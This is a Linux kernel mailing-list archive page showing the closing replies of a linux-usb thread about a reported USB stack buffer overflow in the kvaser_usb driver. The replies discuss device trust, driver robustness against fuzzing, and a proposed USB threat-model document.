> > Why? If we do not trust the hardware, we cannot depend on it
> > telling the truth about itself, can we?
>
> The purpose of the endpoint testing is to avoid warnings triggered by
> driver submitting URBs to endpoints that are known not to exist. Such
> submissions are generally considered to be signs of a bug in the driver,
> not of a deception by the device.
>
> Legitimate example: A new revision of a device uses different endpoint
> numbers from the original version, but the driver isn't aware of this
> and doesn't check. The problem would then lie in the driver, not in the
> revised device firmware.
>
> Even if a device lies about itself, the tests will prevent these
> warnings from triggering. (The endpoint in question might not in fact
> exist on the device, but as long as the device's descriptors claim that
> the endpoint does exist, usbcore won't know any better and so won't
> issue a warning.)
>
> Of course we can't detect all cases in which a device lies about itself.
> The hope is that drivers will be robust enough to handle devices that do
> not behave as expected...
>
> > > While it's always possible that some real device somewhere will fail
> > > these tests, a much more likely reason for a failure is because the
> > > driver is being fuzzed. We do know that these fuzzing tests occur in
> > > real life and that they will crash the kernel being tested if the tests
> > > aren't present.
> >
> > Now, if we are looking at regular hardware, we need to ask ourselves:
> > Is it likelier that some devices are different from all others,
> > or may they have a race condition with a small window that leads
> > to faulty data packages rarely being generated?
>
> ... such as by occasionally generating faulty data packets. Drivers
> should be able to handle such things gracefully, without crashing the
> kernel.
Given that I have to answer this type of question about every other week
these days given the fuzzing reports we get sent to the
security@kernel.org alias, I think I need to just write up a "here is
the Linux USB threat model that we currently support" document to
describe what the state is.
We can then work from there, either agreeing that we need to "move" the
level of interaction for which we trust / do not trust a device in the
lifecycle of a USB device, or just be happy with where it currently is.
That should work better with some groups that I know are working to do
stuff to "harden" the USB device stack for some specific use cases,
hopefully just using the existing user api that we have today that
USBGuard uses, or possibly adding to that to handle some missing areas
that we have not previously considered.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: Stack buffer overflow (write) in kvaser_usb_leaf_wait_cmd via malicious USB
2026-02-27 4:29 ` Greg KH
@ 2026-02-28 2:22 ` Alan Stern
0 siblings, 0 replies; 8+ messages in thread
From: Alan Stern @ 2026-02-28 2:22 UTC (permalink / raw)
To: Greg KH; +Cc: Oliver Neukum, Nicholas Carlini, linux-usb
On Thu, Feb 26, 2026 at 08:29:45PM -0800, Greg KH wrote:
> Given that I have to answer this type of question about every other week
> these days given the fuzzing reports we get sent to the
> security@kernel.org alias, I think I need to just write up a "here is
> the Linux USB threat model that we currently support" document to
> describe what the state is.
>
> We can then work from there, either agreeing that we need to "move" the
> level of interaction for which we trust / do not trust a device in the
> lifecycle of a USB device, or just be happy with where it currently is.
>
> That should work better with some groups that I know are working to do
> stuff to "harden" the USB device stack for some specific use cases,
> hopefully just using the existing user api that we have today that
> USBGuard uses, or possibly adding to that to handle some missing areas
> that we have not previously considered.
I'll be keen to see the document when it's in close-to-final form!
Alan Stern
^ permalink raw reply [flat|nested] 8+ messages in thread
end of thread, other threads:[~2026-02-28 2:22 UTC | newest]
Thread overview: 8+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-02-18 2:13 Stack buffer overflow (write) in kvaser_usb_leaf_wait_cmd via malicious USB Nicholas Carlini
2026-02-18 5:12 ` Greg KH
2026-02-24 8:44 ` Oliver Neukum
2026-02-24 15:52 ` Alan Stern
2026-02-24 16:04 ` Oliver Neukum
2026-02-24 18:43 ` Alan Stern
2026-02-27 4:29 ` Greg KH
2026-02-28 2:22 ` Alan Stern
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox